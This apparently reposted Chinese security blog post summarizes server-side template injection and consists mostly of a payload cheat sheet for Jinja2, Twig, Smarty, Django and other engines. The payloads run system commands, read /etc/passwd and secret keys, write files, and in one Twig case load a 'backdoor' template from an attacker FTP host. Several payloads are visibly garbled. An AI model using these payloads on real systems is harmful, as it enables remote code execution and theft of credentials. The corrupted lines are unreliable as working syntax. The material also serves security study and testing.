1 介绍
服务端模板注入(Server-Side Template Injection,简称 SSTI)是一种 WEB 应用漏洞。服务端模板注入和常见 Web 注入的成因一样,也是服务端接收了用户的输入,将其作为Web应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、命令执行、任意文件读取、任意文件写入等问题。其影响范围主要取决于模版引擎的复杂性。
简要利用流程如下:
2 常见模板引擎
语言 | 模板框架 |
Java | Freemarker、Velocity、Thymeleaf、Groovy、jade |
Python | jinja2、tornado、mako、Django |
PHP | Smarty、Twig |
Javascript | Nunjucks、Marko、doT、Dust、ejs、VUE |
3 模板注入Payload
1)通用
${{<%[%'"}}%.
{% debug %}
{7*7}
{{ '7'*7 }}
{2*2}[[7*7]]
<%= 7 * 7 %>
#{3*3}
#{ 3 * 3 }
[[3*3]]
${2*2}
@(3*3)
${= 3*3}
{{= 7*7}}
${{7*7}}
#{7*7}
[=7*7]
{{ request }}
{{self}}
{{dump(app)}}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ [].__class__.__base__.__subclasses__O }}
{{['cat%20/etc/passwd']|filter('system')}}
2)PHP
{php}print "Hello"{/php}
{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())}
3)Python
{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}
免责声明:本文仅用于安全研究和教育目的。文章中的信息仅供参考,不应被用于非法用途。由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
欢迎关注、点赞、转发
转载声明:本文的最终解释权归原作者所有。欢迎转载本文,但请注明原作者和出处且必须保证文章的完整性,即包含原文中的所有内容。本文内容仅代表原作者个人观点和研究成果,与任何组织无关。原作者已尽量确保文章内容的准确性,但不保证文章没有疏漏或错误。未征得作者同意,不可擅自删改本文内容,也不可用于任何商业用途。望尊重作者的知识产权,按照规定和要求使用本文。如有疑问,欢迎与作者联系。
原文始发于微信公众号(StepSnail):服务端模板注入总结(SSTI, Server Side Template Injection)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论